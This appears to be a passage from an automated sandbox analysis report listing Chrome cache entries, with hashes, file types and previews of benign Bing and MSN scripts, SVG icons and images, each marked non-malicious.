Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

Chrome Cache Entry: 789

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2524), with no line terminators
Category:	dropped
Size (bytes):	2524
Entropy (8bit):	5.496443534651084
Encrypted:	false
SSDEEP:	48:PvB3ugs9kys5b+qM4qKr+KOHaH4ZMLSyKQug1LL7j:PvB89kyPWqKKKOHY4Z+zn
MD5:	17CDAB99027114DBCBD9D573C5B7A8A9
SHA1:	42D65CAAE34EBA7A051342B24972665E61FA6AE2
SHA-256:	5FF6B0F0620AA14559D5D869DBEB96FEBC4014051FA7D5DF20223B10B35312DE
SHA-512:	1FE83B7EC455840A8DDB4EEDBBCD017F4B6183772A9643D40117A96D5FFF70E8083E424D64DEBA209E0EF2E54368ACD58E16E47A6810D6595E1D89D90BCA149A
Malicious:	false
Reputation:	unknown
Preview:	var RewardsHeaderSVG;(function(n){function w(){s()}function b(n,t){var i=sj_cook.get(h,l);t?n.indexOf(i)>-1?o():s():k()>0&&o()}function o(){g();sb_st(nt,u);sb_st(d,u)}function k(){var n=sj_cook.get(c,a);return parseInt(n)}function d(){sj_evt.fire(v)}function s(){sj_evt.fire(y)}function g(){var u=_ge(r),n;_ge(t)&&Lib.CssClass.add(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.add(_ge(i),"rd_hide");u&&(n=document.createElement("img"),n.setAttribute("id","coinFlipGif"),n.setAttribute("class","rhcoinflip"),n.setAttribute("src",p),u.appendChild(n),u.style.display="block")}function nt(){_ge(r).style.display="none";_ge(t)&&Lib.CssClass.remove(_ge(t),"rd_hide");_ge(i)&&Lib.CssClass.remove(_ge(i),"rd_hide")}var h="_RwBf",c="_SS",l="v",a="RP",r="coinFlipGifContainer",t="rewards_header_icon serp",i="rewards_header_icon hp",v="rewardsRedDot",y="redDotAnimation",u=1750,p="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/coin_flip_3d.gif",f=_d.querySelector(".rhlined.serp, .rhlined.hp"),e=_d.que

Chrome Cache Entry: 790

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	512
Entropy (8bit):	4.510163916949154
Encrypted:	false
SSDEEP:	6:6v/lhPahm1lWrg91nyJV1JGOZBouB1eNAWmXcKQ1W1:6v/74+dyJV2O/TDSYsKQ8
MD5:	2CB038DB4D785FBF1014B83723250865
SHA1:	9F146FB8557766B4ECD653CB0FF96DF85FFC0BE0
SHA-256:	AE57256091E86B729C7D6E575DF6C005FAF49B50036E32B63BDF07E5DBAA4B40
SHA-512:	FD938D5B5F055CE0E585922AF1D349AC0D4A1104EA890A871B681633548A9CA80F12C3A7A430D9D3253A465A74EF648CD71FEACCAABBDCF99275EEF1747B73CE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx......Q...C32!..JbC....d..\.\....Z....RJ,..;.7`.._..;.\|g.1...`.w.A.......8.E.2.....=-.E....>...(b....b.....9A.z.Kt..U.....8. P@.-(HS<.C...%h...EM.g].D.B......K...}....C....+\|TJ.T?.....,{........IEND.B`..........................................................................................................................................................................................................................................

Chrome Cache Entry: 791

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5983), with no line terminators
Category:	downloaded
Size (bytes):	5983
Entropy (8bit):	5.2825366147372455
Encrypted:	false
SSDEEP:	96:kiz62PGRHEKnpA7Yc33HxTVwXKRsVNS6cvPOZWVjJnxdSwxxtR2EA8SOsDquOj:kie+GRHFnaLNjXOZWRYwxN2EANOsDqum
MD5:	785D3C1D93D18E5478F0C3FFCE35CD03
SHA1:	1F7533428AF383A196CC2319477B762F86500514
SHA-256:	B32B54F6D1BE64DF456502B677407D4CFA5F10E98CDE9350D9E63331FDBB7BFC
SHA-512:	F374DED54893E2CC95D2F8BAE4C7896F9CB4BC21E0C53B773D31F90E6D940C6ADB8552130D210D4BD43AB69EC25BCD64887660581DC5FC454C634C4E7B6037D7
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/H3UzQorzg6GWzCMZR3t2L4ZQBRQ.js
Preview:	var Feedback;(function(n){var t;(function(t){function u(t,r,u,f,e,o){t=typeof t===i?!1:t;t&&scrollTo(0,0);u=typeof u===i?!0:u;n.PackageLoad.Load(r,u,f,e,o)}function o(n,t){for(var r=0,i=null;n&&n.getAttribute&&(!(t>=1)\|\|r<t);){if(i=n.getAttribute("data-fbhlsel"),i!=null)break;r++;n=n.parentNode}return i}function a(t,a,v,y,p,w,b,k,d){function ot(t){var r=null,i;return t&&(i=new c,n.fel("ajax.feedback.collectsettings","gsf",i),r=i.findSettings(t)),r}var it,tt,nt,et,rt,g,ut,ft;(sj_cook&&(tt=sj_cook.get("fdbk_acc","tabfocus"),tt&&(nt=_ge(tt),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(nt=document.querySelector('[id^="'+tt+'"]'),nt?(nt.focus(),sj_cook.clear("fdbk_acc","/")):(et=tt.indexOf("thumb_f")!=-1&&a.indexOf("thumb_f")!=-1\|\|tt.indexOf("thumb_t")!=-1&&a.indexOf("thumb_t")!=-1,et&&(nt=_ge(a),rt=(it=nt===null\|\|nt===void 0?void 0:nt.parentElement)===null\|\|it===void 0?void 0:it.parentElement,rt&&rt.classList.contains("l_ecrd_tud")&&(nt.focus(),sj_cook.clear("fdbk_acc","/"))))))),g=_ge(a

Chrome Cache Entry: 792

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (391), with no line terminators
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.184440623275194
Encrypted:	false
SSDEEP:	12:2Qxjl/mLAHPWEaaGRHkj6iLUEkFKgs5qHT:2QC8H+aGRHk+i1kFKgs5qHT
MD5:	55EC2297C0CF262C5FA9332F97C1B77A
SHA1:	92640E3D0A7CBE5D47BC8F0F7CC9362E82489D23
SHA-256:	342C3DD52A8A456F53093671D8D91F7AF5B3299D72D60EDB28E4F506368C6467
SHA-512:	D070B9C415298A0F25234D1D7EAFB8BAE0D709590D3C806FCEAEC6631FDA37DFFCA40F785C86C4655AA075522E804B79A7843C647F1E98D97CCE599336DD9D59
Malicious:	false
Reputation:	unknown
Preview:	(function(){function n(){var n=_ge("id_p"),t,i;n&&(t="",i="",n.dataset?(t=n.dataset.src,i=n.dataset.alt):(t=n.getAttribute("data-src"),i=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=i},n.src=t))}n()})()

Chrome Cache Entry: 793

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (426), with no line terminators
Category:	dropped
Size (bytes):	426
Entropy (8bit):	4.904019517984965
Encrypted:	false
SSDEEP:	12:2gcmRRt9Y4LF1Zd4XV4LFUXCdg/qUWYzP++xAQI:2gcmRRFfgiUb6MAj
MD5:	857A0DE0BBF14F3427A1AFA5CD985BCE
SHA1:	0C1D2E767F07E5C0F14EA64980DB213D379CC6F7
SHA-256:	3ED65F33193430C0B9DB61FFE7F5FE27B29F86A28563992C3AFC47D4C22C23D7
SHA-512:	E7F2603855A16464417B772517676F080CCEFFB8069C687BAC798B7EB2875FCDC207E40E8C56E7CFFD4D56CED572270988599D1D2B73FB8AAA7FDD076FE3E7B7
Malicious:	false
Reputation:	unknown
Preview:	(function(n){function i(){var i=document.documentElement,r=document.body,u="innerWidth"in window?window.innerWidth:i.clientWidth,f="innerHeight"in window?window.innerHeight:i.clientHeight,e=window.pageXOffset\|\|i.scrollLeft,o=window.pageYOffset\|\|i.scrollTop,s=document.visibilityState\|\|"default";n.enqueue(t,{x:e,y:o,w:u,h:f,dw:r.clientWidth,dh:r.clientHeight,v:s})}var t="V";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 794

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2913
Entropy (8bit):	5.210753142735573
Encrypted:	false
SSDEEP:	48:TS9ldcFHMDcldcFHMDMLgldcFHMDMLO3RlpH//LwgZFLZq2LSHtRjVMHtnhw9MHh:wdcFU2dcFUtdcFUJI1SngMV
MD5:	149EE3CBE1BE0EE49920FDAD16764415
SHA1:	B1D49A73FCD0C3980B32F3C8EB5C4A9855923F57
SHA-256:	3D6C8EFB4E185EBD336CF879F8147B74A4DC41D142C8CEB973D676DCA180DE04
SHA-512:	4524F0BDB1FBFD9C2147FA7BA286234BD73A84CCD74CC94B6D1E087F0F03497460CE2BDEB1CA5237777C90286EC2CFBC36E1EAC96248BABE4C948053D1A6B371
Malicious:	false
Reputation:	unknown
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="#E7F1FF"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="url(#paint0_linear_582_42049)"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13

Chrome Cache Entry: 795

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	581
Entropy (8bit):	4.460231157732567
Encrypted:	false
SSDEEP:	12:trZvnltuIvsbhdMLPI7eoxnoFWlW9iVSLS0EwNL4RKFz:tVvnjuRuTUCd9iP7wNLuKFz
MD5:	C86E4BDE4AF4415501A5E317ED8E28CD
SHA1:	B89F766A58D8F3EA9F794636FC147E85AA4428E2
SHA-256:	93F814F19D1E28C1B94F11A1B17754FAF4776B910BA693593490FE220B389AA1
SHA-512:	807E5FECF4CA2F8C941F6E63805037C41DA02118F63C80129EC777634E2B063B407E92C2870107EE47130F27CF71509D726E1474556FDEB070D1E887178457C1
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/uJ92aljY8-qfeUY2_BR-hapEKOI.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5.99998 3V6.68895C5.99998 7.13159 5.88246 7.56629 5.65943 7.94863L5.04612 9H10.9538L10.3405 7.94863C10.1175 7.56629 9.99998 7.13159 9.99998 6.68895V3H10.5C10.7761 3 11 2.77614 11 2.5C11 2.22386 10.7761 2 10.5 2H5.49997C5.22383 2 4.99997 2.22386 4.99997 2.5C4.99997 2.77614 5.22383 3 5.49997 3H5.99998ZM11.5372 10H4.46278L3.44536 11.7441C2.86203 12.7441 3.58334 13.9999 4.74103 13.9999H11.2589C12.4166 13.9999 13.1379 12.7441 12.5546 11.7441L11.5372 10Z" fill="#767676"/></svg>

Chrome Cache Entry: 796

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	30124
Entropy (8bit):	7.963662505905781
Encrypted:	false
SSDEEP:	768:eM4Bin1ArpKclB0CZRzWn2ui9/xjVJv+TzTrh:eM4qAVKQi+RzicVxj+TN
MD5:	9ACA1DA3F7335D891B44E4AA6540D0C6
SHA1:	F503708EFEC5FAB3F97986268B1DC5A84107320B
SHA-256:	BF05A9E8318C04E898DEA10EE8ACF896B87609ED3472DF78BB18F15159CB2DD9
SHA-512:	CA2E72716998D7B8279A56F4A340628D9612D7B4389DCE6CA47711DC7402DC5D4A4057A7B5ACD3BF617BEB268B2065F700BBA0B023DC21CF3F38EAB78FCFC473
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...v#......i.&.....<.~.eop...Y..<1L..#gBB.1.T..3Z..I..../.hR^..#k..i....l.v..FXc.s.....Iu<.cS...m'.V.........\|'.../=...!c.$..y....Uh..7.^..sH.U.gm{..z>.kx.%...,S.r....R:.pj."..A.jv9W...w..<7.X.......6...'.x.n..?enr..y.x?{...C.iz&...j.......m%.....Gv......"..r..#..T......be.)r....:yn"..\..[e.H.Vi..;VP.g.$...$..5...:v.=..Vo...u.>...W..5...L..R..Y.zRe...u..L.A[

Chrome Cache Entry: 797

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1624
Entropy (8bit):	4.773562716145102
Encrypted:	false
SSDEEP:	24:ko6ep61GB008wgl/oyBmKXCdUYAQhYzQe:lHLvVg/oyBmdHAQ
MD5:	EBAA114857D4BA27C1E02CA510B7AA7A
SHA1:	DD4A102A4556A090233348BFE9334BCB6C947EE0
SHA-256:	0B83BBA98B4FB994F34C52EA7D42CB081AB93E663180662EFCD396A9CDD09CDA
SHA-512:	0BD3F45EC580E2037D09A81106EDCBDA5EA38CD7F58573E68A074F79BADBFEC3C2554A2193E82C66ED1E64248DA6001ABF6D60C8A45180088F4082E8817183C7
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBERG9W.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.]S[HTQ.]..;wf.........1...#$.@HQ{\|....H.E...G..)APB?.OA.i..!......4..5...G......}............%U.u...<#.... .M...1a..`F.....c-....b........\...M.....~...XZ...].....(.cm.LQZ..QH..E....,.Q.\|.\|.u.61.)3..X`..G`h..].5.C......fy...ge..R..d... ..."/.`n..0.@.].....&.C...s9....N...M..C...&C......+g.a.....,.....ig.B..0..`)^..MfI.Jcq.....:.kc...a.-...O..y..rC...c....52.d...3..].CB.a.\|.,=....SP........0T......X.Hq......?.>?....P..M.._..S`...B\XS.X...A7L..iD_.C9.3.c^."/.X.;De:...@.......@LV39..E..[.".R.&h.H.d..Ji%,U.PGF.?...4.x-............s....o.l..a)..&...vD.>.Y..w.4..i.{...QR%...wp\.....D.~@..]D...V3..<...:;l.H.f...M/..R.fD..b.k+..C..L....l.W.M6 ... .d..]....\|...jvG..BWJ<0?....... D.zZ..#.'i...c.Y7.iO.....(&..+../Ni.q....IEND.B`.............................................................................................................................................................................

Chrome Cache Entry: 798

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	downloaded
Size (bytes):	1750
Entropy (8bit):	7.136110936757293
Encrypted:	false
SSDEEP:	24:fIihitYJ/jWdE2XsQvGYCU1Y72Xdmq50tbrFl20MVq4OSLw:AiH/j0EisV9UNXdfifKf7Lw
MD5:	9119C1A6EA63AFA55E6274B55B458817
SHA1:	618102DB60F79261B94845EA3F65895EF6995AFD
SHA-256:	0FA50A450106430FB653E3EC832D8E0361F08B88FA32FC7A3F8C148755210B9B
SHA-512:	504E036FF7DDB00E2B784B68EC3C2C01635B003690FB8D6554BA269A65E07BE49D18C47E16328B3817185B6CB55DF2F1B943611F30B44C4DA2408BDE1DA41915
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/background/v2.0/jpg/cloudy_2.jpg
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........c...............................................!.1..A"..........................................1............?..~.......{.o][...+....@m.=]Q.Zr..cQ.[.GX.r..A.V.q..A.V..V.GiZ..V.....VG.t.=..v=S....+.;.W^l.]yy..>W.LW...O...{.n.V=...]t.N=1[....o..fc.k..>Q....1..=.H...^..~_..>..<.....+7.....42.Z....1....J.k..V.r..Du..rPv..\5.A.a:r.Tw.~N:..G=c..{q..X........#.mu...o;..O..d......~]}1....<...{...].g.^o.....`.=.z.+H...)..=.cL.}[......Y..X.4.....i.ADh.b7".my....M5y..]kX..u.Pt.X.F.....\|...zg..>o=..@..\._....S.....k<..`?C}5.g....mz.S....}H.{..s.....1zy..'].(.k.....{c...G..#.ww...:....5....d....LGH..a...r..).&.rGH.J..du......Q.]s]..0h:i........;.9h5z^zs.../K-z..$\|.z..V.=..W.N...c.v...o...M...i.q..A..'.V/[.....iU......Z........+r.kr...k............... .`............[....

Chrome Cache Entry: 799

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561), with no line terminators
Category:	downloaded
Size (bytes):	561
Entropy (8bit):	4.889905545792464
Encrypted:	false
SSDEEP:	12:kdXCJAUQcnGfiLQGW3lfbs4HbrdE6/Wj5sSxE6fYXChX0d9JAjU:8CJWcujo47renmSSWYMy9JyU
MD5:	6D69808BC13425DCFBCD61C2DCD11305
SHA1:	76CCC14A62EDF6E44901A237B3460E22874B6F53
SHA-256:	88D86FE4AD7534BB5D79D6CEAFDC527ADE975D07F49A856CE0EE6783161516C3
SHA-512:	FCD132A1D6C53B897FA9B60DE7A054CD429DF3EAEB19F40367968FCDDE12B270C71685D6F8991A1F0A12BE14F981FD6BFADE30F43E4C9527313F978EFD87C215
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/dszBSmLt9uRJAaI3s0YOIodLb1M.js
Preview:	var OutlinePolyfil=function(){function n(){var n=this;this.attachHandlers=function(){addEventListener("keydown",n.onTabKey);addEventListener("focusin",n.onFocusIn);addEventListener("mousedown",n.onMouseDown)};this.onTabKey=function(n){n.key=="Tab"&&document.body.classList.add("tabbing")};this.onFocusIn=function(t){t.target===n.firstFocusable&&document.body.classList.add("tabbing")};this.onMouseDown=function(){document.body.classList.remove("tabbing")};this.firstFocusable=document.querySelector("#bLogo");this.attachHandlers()}return n}();new OutlinePolyfil

Chrome Cache Entry: 800

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1212
Entropy (8bit):	4.746571054177901
Encrypted:	false
SSDEEP:	12:6v/7hJp8IkCuF6aDUSFPVKkT/qUn9WIlwKILyhFCHvjXabkJiwypN4:SpWLzp1A0wKILyhoHvrvXAN
MD5:	37CF855C1E1C773C05DFAE6D323C0978
SHA1:	FC2D73558B5A03C5CE0084BA0B70767A1773C728
SHA-256:	990A8A1556EEBE54E3730A3C84B390FD2DAD626CA7A54DA6A7F138F92527E9A8
SHA-512:	C02F5B70F5D1BA90DC14A8155DC2956D60297930E6E34F50295F6ACD84671FA2E78CDEFDD730B271916D49F8C1A49C69962030C84BB4BAB72714BFE328A66BFF
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA12I8qo.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+..... IDATx..SMHTQ.....y>..j...d..v.B.{!7.+.%..Q.j$....Em.D.VA....I....ZL.j.......9..<.aZu......}..s.~.JK..Y17. ....G@8.-..}.\.1:N.6`.....l....yR...,...hYp.{ .[.....(...D...\|.g..4<.'...!.S......&`.?..7.c{&.a.P...}......c..... .....E..!q...kV..2.M..N..2.........X..P.s.v.9.G:P".c..1.".;....+&R..M..f." ..d..d_g.....~..:.7.....W..o. v.....O..........>.:.....'..a...H^.h^...";..Ab........QU.zb...4...3.U.0Z[.^....)..G.';.........0;.q...N.y.0..y.F...Q.............C.X............kl..Pfm.?...n}.*..v.[..E.\..Q.........4@uYh... .....e)...._i..[r..?....IEND.B`...........................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 801

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/tlifxqsNyCzxIJnRwtQKuZToQQw.js
Preview:	0

Chrome Cache Entry: 802

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1547
Entropy (8bit):	4.5002812368789336
Encrypted:	false
SSDEEP:	24:tBJluJMHMMV709HTMMrgCyDrGpsgsxPSBAs3b0PzlUVZFAHo38xAIUr4zYY3BArF:5/YbysuxPSdupG48ayP
MD5:	3AC9F8594F02FB302D7C05C7F64C3EA4
SHA1:	EFEEA55DE6C48BAD79D0AAAE1A954B19D5A14571
SHA-256:	EEF71DA25F01CC0B83539CECD5320B5717A10F441F82754DA23E6082083A86B9
SHA-512:	35A42CF8F6B57C95328EBD27A49C9CC0FDD158A329E46C61E3C7C07A218D001A964AF3D66506BFCA889754A0D47742615B731DB3110DBDDB6F3B33594A7AFFF1
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/7-6lXebEi6150KquGpVLGdWhRXE.svg
Preview:	<svg width="30" height="14" viewBox="0 0 30 14" fill="none" xmlns="http://www.w3.org/2000/svg">.. <g clip-path="url(#clip0_1_504)">.. <path fill-rule="evenodd" clip-rule="evenodd" d="M7.39998 12.8H14.2L17.3 1.20001H7.39998C4.19998 1.20001 1.59998 3.80001 1.59998 7.00001C1.59998 10.2 4.19998 12.8 7.39998 12.8Z" fill="white"/>.. <path fill-rule="evenodd" clip-rule="evenodd" d="M22.6 0H7.40002C3.50002 0 0.400024 3.1 0.400024 7C0.400024 10.9 3.50002 14 7.40002 14H22.6C26.5 14 29.6 10.9 29.6 7C29.6 3.1 26.4 0 22.6 0ZM1.60002 7C1.60002 3.8 4.20002 1.2 7.40002 1.2H17.3L14.2 12.8H7.40002C4.20002 12.8 1.60002 10.2 1.60002 7Z" fill="#0066FF"/>.. <path d="M24.6 4.00001C24.8 4.20001 24.8 4.60001 24.6 4.80001L22.5 7.00001L24.7 9.20001C24.9 9.40001 24.9 9.80001 24.7 10C24.5 10.2 24.1 10.2 23.9 10L21.7 7.80001L19.5 10C19.3 10.2 18.9 10.2 18.7 10C18.5 9.80001 18.5 9.40001 18.7 9.20001L20.8 7.00001L18.6 4.80001C18.4 4.60001 18.4 4.20001 18.6 4.00001C18.8 3.80001 19.2 3.80001 19.

Chrome Cache Entry: 803

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1286
Entropy (8bit):	4.773989693534619
Encrypted:	false
SSDEEP:	12:6v/7ca/f35DANXCShEDELHjiQEsq1zjUPEYCjJfhqEA/EL+qhE5y5Pc1Z:XaX38kDyiQEsq1zXtthG/aE5yd
MD5:	0CD18720313EC21B2B899D2F4A8A9602
SHA1:	685F722E55CE3AEBABA71DE8BC4467BC9D5EA3A1
SHA-256:	CA2E862C45CC7243EEB1DB4985E24E6F832E931849F969BC32A68301AACFAE8F
SHA-512:	DCEE1F1EAC013892EAAD239903A57B395487607FD249D572DFAC25006202CDF0D50B407317B9266BBE53EA038AAE1993E18B987FDE18DD7692571F6BECDA6B85
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAywGC0.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....EIDATx....K.Q....mt.f..8.x.6I`+.......-.@".BA.Ve..V-.Z.....". ...h.E.L.,+Mgr.....j;}p8..}......E..@X..o..V..........A....\|F....^)....kmr.1.....IAE.MvY....@..V.v..qp..8..S3.o..xz.......Tnl'.....e..........?@]o?.W.I......@s..7G.u.b..}B....D.......N..{..;........k..%U.."4..AU.../.a..]..;h.z...P......-....F....i,...V..^]%.WSrR.I.....C>..%....(...R3/qD.I.........[..[..>nu._....Di.?....{.......uA...uk!9.....\..x.xJ........}.I..c~....i._.?J....W.........GT.C....6...=[..c.&.{.?.l"/.K...@..R.S... K.8J0^.%4.D..y@k.<NH.2^.H..41.0..\|..~1bj.......r.a<&.........'>..$....IEND.B`......................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 804

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
URL:	"https://r.bing.com/rs/79/fR/jnc,nj/tlifxqsNyCzxIJnRwtQKuZToQQw.js?or=w"
Preview:	0

Chrome Cache Entry: 805

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1410
Entropy (8bit):	4.770304768304694
Encrypted:	false
SSDEEP:	12:6v/7kPInmFWkglLh6an1r/zoxz2UwzB6NCgzAo0l8z0gtcodb:DQpkAVBx/iavzB6NZAo0l8zltck
MD5:	936CA8F6DF41F841CAAE5362CC94FA29
SHA1:	6406FB60A3693E481AFB3394588A5F14320C167F
SHA-256:	EED3E25F9E4237A3AAFE7BC3536702FBDEB6B14073063300C4F61784175AC300
SHA-512:	CD3AFE4229C100BCB27B21868DE8092C88A5FB2DAEC68A4883158581B138D92701F4403B345E6E4F1E248B38BE9F810BA7F71ADC5F5153A68E3D9774891B21EC
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXL7Uv.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...]H.Q.....VNg..E.R0.(..,.G.AaH...i]t.x.M7...W.)..iV..........0.Aa.YA.}.J.M.:........9.w...<.O.....y.........r.P.[k......o..;:...9u...\|..\....Z.......l.&..........2N3.......K.u.....V>........'.W......D..J...1..b..R.F.C.x..E...'`1..RP.......$cW.>.....U.....0DD..'...AfV6Y....<mo.+.. ..t...;-.4............2q.......=b........Ett.4@..\|$..-..<.q.>8.w...].F.U^NY.MPkX.......... .^(q?..(....e.../..h.0.L.........0../Pq...@-.3...^'....-..../.x'<..$......$...`kj.....@...F.T.'\|..\|..3!...V........0...7.P... .R.U..JI....e!.7.e.G..F....I..7.h.5)cV.v.......K"....'..m....8!..$Iy.....X.HO.h4....?.<f...=......E..O......#..U....IEND.B`........................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 806

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
